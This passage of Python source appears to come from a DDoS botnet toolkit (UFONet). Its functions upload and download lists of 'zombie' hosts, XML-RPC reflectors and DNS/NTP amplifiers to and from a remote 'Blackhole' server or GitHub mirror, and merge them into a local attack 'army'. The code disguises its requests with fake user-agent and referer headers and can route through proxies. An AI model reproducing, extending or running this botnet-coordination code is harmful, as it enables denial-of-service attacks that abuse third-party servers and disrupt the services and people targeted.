  1923. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1924. ms.connect(host, mport)
  1925. ms.send(data)
  1926. ms.close()
  1927. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  1928. time.sleep(2) # sleep a bit more
  1929. print('-'*12 + '\n')
  1930. print("[Info] [AI] Transfer -> [DONE!]\n")
  1931. except Exception as e:
  1932. print(str(e) + "\n")
  1933. except:
  1934. print('-'*12 + '\n')
  1935. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1936. return
  1937. except:
  1938. print('-'*12 + '\n')
  1939. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1940. return
  1941. def update_gui_data(self):
  1942. # download all GUI stream data
  1943. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1944. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1945. if self.options.proxy: # set proxy
  1946. self.proxy_transport(self.options.proxy)
  1947. if self.options.timeout: # set timeout
  1948. try:
  1949. timeout = int(self.options.timeout)
  1950. except:
  1951. timeout = 5
  1952. else:
  1953. timeout = 5
  1954. if timeout < 1:
  1955. timeout = 5
  1956. if self.options.forcessl:
  1957. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1958. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1959. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1960. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1961. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1962. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1963. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1964. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1965. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1966. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1967. else:
  1968. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1969. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  1970. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1971. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  1972. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1973. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  1974. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1975. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  1976. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1977. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  1978. f = open(self.news_file, 'w')
  1979. f.write(news_reply)
  1980. f.close()
  1981. f = open(self.missions_file, 'w')
  1982. f.write(missions_reply)
  1983. f.close()
  1984. f = open(self.board_file, 'w')
  1985. f.write(board_reply)
  1986. f.close()
  1987. f = open(self.grid_file, 'w')
  1988. f.write(grid_reply)
  1989. f.close()
  1990. f = open(self.wargames_file, 'w')
  1991. f.write(wargames_reply)
  1992. f.close()
  1993. print('-'*25 + "\n")
  1994. print("[Info] [AI] GUI data correctly updated:\n")
  1995. if news_reply:
  1996. print("[Info] [AI] [News] : OK!")
  1997. if missions_reply:
  1998. print("[Info] [AI] [Missions]: OK!")
  1999. if board_reply:
  2000. print("[Info] [AI] [Board] : OK!")
  2001. if grid_reply:
  2002. print("[Info] [AI] [Grid] : OK!")
  2003. if wargames_reply:
  2004. print("[Info] [AI] [Wargames]: OK!")
  2005. print('-'*25)
  2006. print("\n[AI] "+self.exit_msg+"\n")
  2007. def downloading_list(self):
  2008. # add your mirror to protect/share/distribute... [Zombies]
  2009. try:
  2010. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2011. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2012. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2013. if self.options.timeout: # set timeout
  2014. try:
  2015. timeout = int(self.options.timeout)
  2016. except:
  2017. timeout = 5
  2018. else:
  2019. timeout = 5
  2020. if timeout < 1:
  2021. timeout = 5
  2022. if self.options.proxy: # set proxy
  2023. self.proxy_transport(self.options.proxy)
  2024. if self.options.forcessl:
  2025. try:
  2026. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2027. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2028. except:
  2029. abductions_reply = ""
  2030. try:
  2031. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2032. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2033. except:
  2034. troops_reply = ""
  2035. try:
  2036. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2037. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2038. except:
  2039. robots_reply = ""
  2040. try:
  2041. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2042. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2043. except:
  2044. drones_reply = ""
  2045. try:
  2046. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2047. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2048. except:
  2049. reflectors_reply = ""
  2050. try:
  2051. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2052. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2053. except:
  2054. crystals_reply = ""
  2055. try:
  2056. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2057. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2058. except:
  2059. warps_reply = ""
  2060. else:
  2061. try:
  2062. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2063. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2064. except:
  2065. abductions_reply = ""
  2066. try:
  2067. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2068. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2069. except:
  2070. troops_reply = ""
  2071. try:
  2072. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2073. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2074. except:
  2075. robots_reply = ""
  2076. try:
  2077. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2078. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2079. except:
  2080. drones_reply = ""
  2081. try:
  2082. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2083. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2084. except:
  2085. reflectors_reply = ""
  2086. try:
  2087. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2088. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2089. except:
  2090. crystals_reply = ""
  2091. try:
  2092. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2093. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2094. except:
  2095. warps_reply = ""
  2096. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  2097. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2098. print('-'*12 + '\n')
  2099. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2100. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2101. print('-'*12 + '\n')
  2102. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2103. return
  2104. f = open('botnet/abductions.txt.gz', 'wb')
  2105. f.write(abductions_reply)
  2106. f.close()
  2107. f = open('botnet/troops.txt.gz', 'wb')
  2108. f.write(troops_reply)
  2109. f.close()
  2110. f = open('botnet/robots.txt.gz', 'wb')
  2111. f.write(robots_reply)
  2112. f.close()
  2113. f = open('botnet/drones.txt.gz', 'wb')
  2114. f.write(drones_reply)
  2115. f.close()
  2116. f = open('botnet/reflectors.txt.gz', 'wb')
  2117. f.write(reflectors_reply)
  2118. f.close()
  2119. f = open('botnet/crystals.txt.gz', 'wb')
  2120. f.write(crystals_reply)
  2121. f.close()
  2122. f = open('botnet/warps.txt.gz', 'wb')
  2123. f.write(warps_reply)
  2124. f.close()
  2125. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2126. except:
  2127. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2128. print('-'*12 + '\n')
  2129. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2130. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2131. print('-'*12 + '\n')
  2132. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2133. return
  2134. print('-'*12 + '\n')
  2135. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2136. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2137. f_out_abductions.write(f_in_abductions.read())
  2138. f_in_abductions.close()
  2139. f_out_abductions.close()
  2140. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2141. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2142. f_out_troops = open('botnet/troops.txt', 'wb')
  2143. f_out_troops.write(f_in_troops.read())
  2144. f_in_troops.close()
  2145. f_out_troops.close()
  2146. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2147. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2148. f_out_robots = open('botnet/robots.txt', 'wb')
  2149. f_out_robots.write(f_in_robots.read())
  2150. f_in_robots.close()
  2151. f_out_robots.close()
  2152. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2153. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2154. f_out_drones = open('botnet/drones.txt', 'wb')
  2155. f_out_drones.write(f_in_drones.read())
  2156. f_in_drones.close()
  2157. f_out_drones.close()
  2158. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2159. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2160. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2161. f_out_reflectors.write(f_in_reflectors.read())
  2162. f_in_reflectors.close()
  2163. f_out_reflectors.close()
  2164. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2165. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2166. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2167. f_out_crystals.write(f_in_crystals.read())
  2168. f_in_crystals.close()
  2169. f_out_crystals.close()
  2170. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2171. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2172. f_out_warps = open('botnet/warps.txt', 'wb')
  2173. f_out_warps.write(f_in_warps.read())
  2174. f_in_warps.close()
  2175. f_out_warps.close()
  2176. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2177. num_abductions = 0
  2178. with open('botnet/abductions.txt') as f:
  2179. for _ in f:
  2180. num_abductions = num_abductions + 1
  2181. print("[Info] Zombies: " + str(num_abductions))
  2182. num_robots = 0
  2183. with open('botnet/robots.txt') as f:
  2184. for _ in f:
  2185. num_robots = num_robots + 1
  2186. print("[Info] Droids : " + str(num_robots))
  2187. num_troops = 0
  2188. with open('botnet/troops.txt') as f:
  2189. for _ in f:
  2190. num_troops = num_troops + 1
  2191. print("[Info] Aliens : " + str(num_troops))
  2192. num_drones = 0
  2193. with open('botnet/drones.txt') as f:
  2194. for _ in f:
  2195. num_drones = num_drones + 1
  2196. print("[Info] UCAVs : " + str(num_drones))
  2197. num_reflectors = 0
  2198. with open('botnet/reflectors.txt') as f:
  2199. for _ in f:
  2200. num_reflectors = num_reflectors + 1
  2201. print("[Info] X-RPCs : " + str(num_reflectors))
  2202. num_crystals = 0
  2203. with open('botnet/crystals.txt') as f:
  2204. for _ in f:
  2205. num_crystals = num_crystals + 1
  2206. print("[Info] DNSs : " + str(num_crystals))
  2207. num_warps = 0
  2208. with open('botnet/warps.txt') as f:
  2209. for _ in f:
  2210. num_warps = num_warps + 1
  2211. print("[Info] NTPs : " + str(num_warps))
  2212. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2213. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2214. print('-'*12)
  2215. if not self.options.forceyes:
  2216. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2217. print('-'*25)
  2218. else:
  2219. update_reply = "Y"
  2220. if update_reply == "n" or update_reply == "N":
  2221. os.remove('botnet/abductions.txt') # remove abductions file
  2222. os.remove('botnet/troops.txt') # remove troops file
  2223. os.remove('botnet/robots.txt') # remove robots file
  2224. os.remove('botnet/drones.txt') # remove drones file
  2225. os.remove('botnet/reflectors.txt') # remove reflectors file
  2226. os.remove('botnet/crystals.txt') # remove crystals file
  2227. os.remove('botnet/warps.txt') # remove warps file
  2228. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2229. print('-'*25)
  2230. print("\n[AI] "+self.exit_msg+"\n")
  2231. else:
  2232. zombies_ready = []
  2233. f = open('botnet/abductions.txt')
  2234. abductions = f.readlines()
  2235. f.close()
  2236. fz = open(self.zombies_file)
  2237. zombies = fz.readlines()
  2238. fz.close()
  2239. for abduction in abductions:
  2240. abduction = abduction.replace('\n','')
  2241. if abduction not in zombies:
  2242. zombies_ready.append(abduction)
  2243. else:
  2244. pass
  2245. self.update_zombies(zombies_ready)
  2246. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2247. aliens_ready = []
  2248. f = open('botnet/troops.txt')
  2249. troops = f.readlines()
  2250. f.close()
  2251. fz = open(self.aliens_file)
  2252. aliens = fz.readlines()
  2253. fz.close()
  2254. for alien in troops:
  2255. alien = alien.replace('\n','')
  2256. if alien not in aliens:
  2257. aliens_ready.append(alien)
  2258. else:
  2259. pass
  2260. self.update_aliens(aliens_ready)
  2261. os.remove('botnet/troops.txt') # remove troops .txt file
  2262. droids_ready = []
  2263. f = open('botnet/robots.txt')
  2264. robots = f.readlines()
  2265. f.close()
  2266. fz = open(self.droids_file)
  2267. droids = fz.readlines()
  2268. fz.close()
  2269. for droid in robots:
  2270. droid = droid.replace('\n','')
  2271. if droid not in droids:
  2272. droids_ready.append(droid)
  2273. else:
  2274. pass
  2275. self.update_droids(droids_ready)
  2276. os.remove('botnet/robots.txt') # remove robots .txt file
  2277. ucavs_ready = []
  2278. f = open('botnet/drones.txt')
  2279. drones = f.readlines()
  2280. f.close()
  2281. fz = open(self.ucavs_file)
  2282. ucavs = fz.readlines()
  2283. fz.close()
  2284. for drone in drones:
  2285. drone = drone.replace('\n','')
  2286. if drone not in ucavs:
  2287. ucavs_ready.append(drone)
  2288. else:
  2289. pass
  2290. self.update_ucavs(ucavs_ready)
  2291. os.remove('botnet/drones.txt') # remove drones .txt file
  2292. rpcs_ready = []
  2293. f = open('botnet/reflectors.txt')
  2294. reflectors = f.readlines()
  2295. f.close()
  2296. fz = open(self.rpcs_file)
  2297. rpcs = fz.readlines()
  2298. fz.close()
  2299. for reflector in reflectors:
  2300. reflector = reflector.replace('\n','')
  2301. if reflector not in rpcs:
  2302. rpcs_ready.append(reflector)
  2303. else:
  2304. pass
  2305. self.update_rpcs(rpcs_ready)
  2306. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2307. dnss_ready = []
  2308. f = open('botnet/crystals.txt')
  2309. crystals = f.readlines()
  2310. f.close()
  2311. fz = open(self.dnss_file)
  2312. dnss = fz.readlines()
  2313. fz.close()
  2314. for crystal in crystals:
  2315. crystal = crystal.replace('\n','')
  2316. if crystal not in dnss:
  2317. dnss_ready.append(crystal)
  2318. else:
  2319. pass
  2320. self.update_dnss(dnss_ready)
  2321. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2322. ntps_ready = []
  2323. f = open('botnet/warps.txt')
  2324. warps = f.readlines()
  2325. f.close()
  2326. fz = open(self.ntps_file)
  2327. ntps = fz.readlines()
  2328. fz.close()
  2329. for warp in warps:
  2330. warp = warp.replace('\n','')
  2331. if warp not in ntps:
  2332. ntps_ready.append(warp)
  2333. else:
  2334. pass
  2335. self.update_ntps(ntps_ready)
  2336. os.remove('botnet/warps.txt') # remove warps .txt file
  2337. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2338. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2339. if not self.options.forceyes: # ask for update everything
  2340. print('-'*25 + "\n")
  2341. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2342. else:
  2343. update_reply = "Y"
  2344. if update_reply == "n" or update_reply == "N":
  2345. print("\n[AI] "+self.exit_msg+"\n")
  2346. return
  2347. else:
  2348. try:
  2349. update_gui = self.update_gui_data() # update GUI data
  2350. except:
  2351. print('-'*25 +"\n")
  2352. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2353. print('-'*25)
  2354. print("\n[AI] "+self.exit_msg+"\n")
  2355. return
  2356. def downloading_github_list(self):
  2357. # add your mirror to protect/share/distribute... [Zombies]
  2358. try:
  2359. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2360. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2361. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2362. if self.options.timeout: # set timeout
  2363. try:
  2364. timeout = int(self.options.timeout)
  2365. except:
  2366. timeout = 5
  2367. else:
  2368. timeout = 5
  2369. if timeout < 1:
  2370. timeout = 5
  2371. if self.options.proxy: # set proxy
  2372. self.proxy_transport(self.options.proxy)
  2373. try:
  2374. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2375. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2376. except:
  2377. zombies_reply = ""
  2378. try:
  2379. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2380. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2381. except:
  2382. aliens_reply = ""
  2383. try:
  2384. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2385. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2386. except:
  2387. dns_reply = ""
  2388. try:
  2389. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2390. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2391. except:
  2392. droids_reply = ""
  2393. try:
  2394. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2395. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2396. except:
  2397. rpcs_reply = ""
  2398. try:
  2399. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2400. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2401. except:
  2402. ucavs_reply = ""
  2403. try:
  2404. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2405. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2406. except:
  2407. ntp_reply = ""
  2408. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "":
  2409. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2410. print('-'*12 + '\n')
  2411. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2412. return
  2413. f = open('botnet/abductions.txt', 'w') # zombies
  2414. f.write(zombies_reply)
  2415. f.close()
  2416. f = open('botnet/troops.txt', 'w') # aliens
  2417. f.write(aliens_reply)
  2418. f.close()
  2419. f = open('botnet/crystals.txt', 'w') # dns
  2420. f.write(dns_reply)
  2421. f.close()
  2422. f = open('botnet/robots.txt', 'w') # droids
  2423. f.write(droids_reply)
  2424. f.close()
  2425. f = open('botnet/drones.txt', 'w') # ucavs
  2426. f.write(ucavs_reply)
  2427. f.close()
  2428. f = open('botnet/reflectors.txt', 'w') # rpcs
  2429. f.write(rpcs_reply)
  2430. f.close()
  2431. f = open('botnet/warps.txt', 'w') # ntp
  2432. f.write(ntp_reply)
  2433. f.close()
  2434. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2435. except:
  2436. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2437. print('-'*12 + '\n')
  2438. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2439. return
  2440. print('-'*12 + '\n')
  2441. num_abductions = 0
  2442. with open('botnet/abductions.txt') as f: # zombies
  2443. for _ in f:
  2444. num_abductions = num_abductions + 1
  2445. print("[Info] Zombies: " + str(num_abductions))
  2446. num_troops = 0
  2447. with open('botnet/troops.txt') as f: # aliens
  2448. for _ in f:
  2449. num_troops = num_troops + 1
  2450. print("[Info] Aliens : " + str(num_troops))
  2451. num_robots = 0
  2452. with open('botnet/robots.txt') as f: # droids
  2453. for _ in f:
  2454. num_robots = num_robots + 1
  2455. print("[Info] Droids : " + str(num_robots))
  2456. num_drones = 0
  2457. with open('botnet/drones.txt') as f: # ucavs
  2458. for _ in f:
  2459. num_drones = num_drones + 1
  2460. print("[Info] UCAVs : " + str(num_drones))
  2461. num_reflectors = 0
  2462. with open('botnet/reflectors.txt') as f: # rpcs
  2463. for _ in f:
  2464. num_reflectors = num_reflectors + 1
  2465. print("[Info] X-RPCs : " + str(num_reflectors))
  2466. num_crystals = 0
  2467. with open('botnet/crystals.txt') as f: # dns
  2468. for _ in f:
  2469. num_crystals = num_crystals + 1
  2470. print("[Info] DNSs : " + str(num_crystals))
  2471. num_warps = 0
  2472. with open('botnet/warps.txt') as f: # ntp
  2473. for _ in f:
  2474. num_warps = num_warps + 1
  2475. print("[Info] NTPs : " + str(num_warps))
  2476. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2477. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2478. print('-'*12)
  2479. if not self.options.forceyes:
  2480. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2481. print('-'*25)
  2482. else:
  2483. update_reply = "Y"
  2484. if update_reply == "n" or update_reply == "N":
  2485. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2486. os.remove('botnet/troops.txt') # remove aliens/troops file
  2487. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2488. os.remove('botnet/robots.txt') # remove droids/robots file
  2489. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2490. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2491. os.remove('botnet/warps.txt') # remove ntp/warps file
  2492. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2493. print('-'*25)
  2494. print("\n[AI] "+self.exit_msg+"\n")
  2495. else:
  2496. zombies_ready = []
  2497. f = open('botnet/abductions.txt')
  2498. abductions = f.readlines()
  2499. f.close()
  2500. fz = open(self.zombies_file)
  2501. zombies = fz.readlines()
  2502. fz.close()
  2503. for abduction in abductions:
  2504. abduction = abduction.replace('\n','')
  2505. if abduction not in zombies:
  2506. zombies_ready.append(abduction)
  2507. else:
  2508. pass
  2509. self.update_zombies(zombies_ready)
  2510. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2511. aliens_ready = []
  2512. f = open('botnet/troops.txt')
  2513. troops = f.readlines()
  2514. f.close()
  2515. fz = open(self.aliens_file)
  2516. aliens = fz.readlines()
  2517. fz.close()
  2518. for alien in troops:
  2519. alien = alien.replace('\n','')
  2520. if alien not in aliens:
  2521. aliens_ready.append(alien)
  2522. else:
  2523. pass
  2524. self.update_aliens(aliens_ready)
  2525. os.remove('botnet/troops.txt') # remove aliens/troops file
  2526. dnss_ready = []
  2527. f = open('botnet/crystals.txt')
  2528. crystals = f.readlines()
  2529. f.close()
  2530. fz = open(self.dnss_file)
  2531. dnss = fz.readlines()
  2532. fz.close()
  2533. for crystal in crystals:
  2534. crystal = crystal.replace('\n','')
  2535. if crystal not in dnss:
  2536. dnss_ready.append(crystal)
  2537. else:
  2538. pass
  2539. self.update_dnss(dnss_ready)
  2540. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2541. droids_ready = []
  2542. f = open('botnet/robots.txt')
  2543. robots = f.readlines()
  2544. f.close()
  2545. fz = open(self.droids_file)
  2546. droids = fz.readlines()
  2547. fz.close()
  2548. for droid in robots:
  2549. droid = droid.replace('\n','')
  2550. if droid not in droids:
  2551. droids_ready.append(droid)
  2552. else:
  2553. pass
  2554. self.update_droids(droids_ready)
  2555. os.remove('botnet/robots.txt') # remove droids/robots file
  2556. ucavs_ready = []
  2557. f = open('botnet/drones.txt')
  2558. drones = f.readlines()
  2559. f.close()
  2560. fz = open(self.ucavs_file)
  2561. ucavs = fz.readlines()
  2562. fz.close()
  2563. for drone in drones:
  2564. drone = drone.replace('\n','')
  2565. if drone not in ucavs:
  2566. ucavs_ready.append(drone)
  2567. else:
  2568. pass
  2569. self.update_ucavs(ucavs_ready)
  2570. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  2571. rpcs_ready = []
  2572. f = open('botnet/reflectors.txt')
  2573. reflectors = f.readlines()
  2574. f.close()
  2575. fz = open(self.rpcs_file)
  2576. rpcs = fz.readlines()
  2577. fz.close()
  2578. for reflector in reflectors:
  2579. reflector = reflector.replace('\n','')
  2580. if reflector not in rpcs:
  2581. rpcs_ready.append(reflector)
  2582. else:
  2583. pass
  2584. self.update_rpcs(rpcs_ready)
  2585. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  2586. ntps_ready = []
  2587. f = open('botnet/warps.txt')
  2588. warps = f.readlines()
  2589. f.close()
  2590. fz = open(self.ntps_file)
  2591. ntps = fz.readlines()
  2592. fz.close()
  2593. for warp in warps:
  2594. warp = warp.replace('\n','')
  2595. if warp not in ntps:
  2596. ntps_ready.append(warp)
  2597. else:
  2598. pass
  2599. self.update_ntps(ntps_ready)
  2600. os.remove('botnet/warps.txt') # remove NTP/warps file
  2601. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2602. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2603. if not self.options.forceyes: # ask for update everything
  2604. print('-'*25 + "\n")
  2605. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2606. else:
  2607. update_reply = "Y"
  2608. if update_reply == "n" or update_reply == "N":
  2609. print("\n[AI] "+self.exit_msg+"\n")
  2610. return
  2611. else:
  2612. try:
  2613. update_gui = self.update_gui_data() # update GUI data
  2614. except:
  2615. print('-'*25 +"\n")
  2616. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2617. print('-'*25)
  2618. print("\n[AI] "+self.exit_msg+"\n")
  2619. return
  2620. def uploading_github_list(self):
  2621. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  2622. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  2623. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  2624. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  2625. print('='*22 + '\n')
  2626. print("[AI] "+self.exit_msg+"\n")
  2627. def create_web_interface(self):
  2628. # launch webserver+gui
  2629. from .webgui import ClientThread
  2630. import webbrowser
  2631. host = '0.0.0.0'
  2632. port = 9999
  2633. try:
  2634. webbrowser.open('http://127.0.0.1:9999', new=1)
  2635. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2636. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2637. tcpsock.bind((host,port))
  2638. while True:
  2639. tcpsock.listen(4)
  2640. (clientsock, (ip, port)) = tcpsock.accept()
  2641. newthread = ClientThread(ip, port, clientsock)
  2642. newthread.start()
  2643. except (KeyboardInterrupt, SystemExit):
  2644. sys.exit()
  2645. def extract_dorks(self):
  2646. # extract dorks from file (ex: 'dorks.txt')
  2647. try:
  2648. f = open(self.dorks_file)
  2649. dorks = f.readlines()
  2650. dorks = [ dork.replace('\n','') for dork in dorks ]
  2651. f.close()
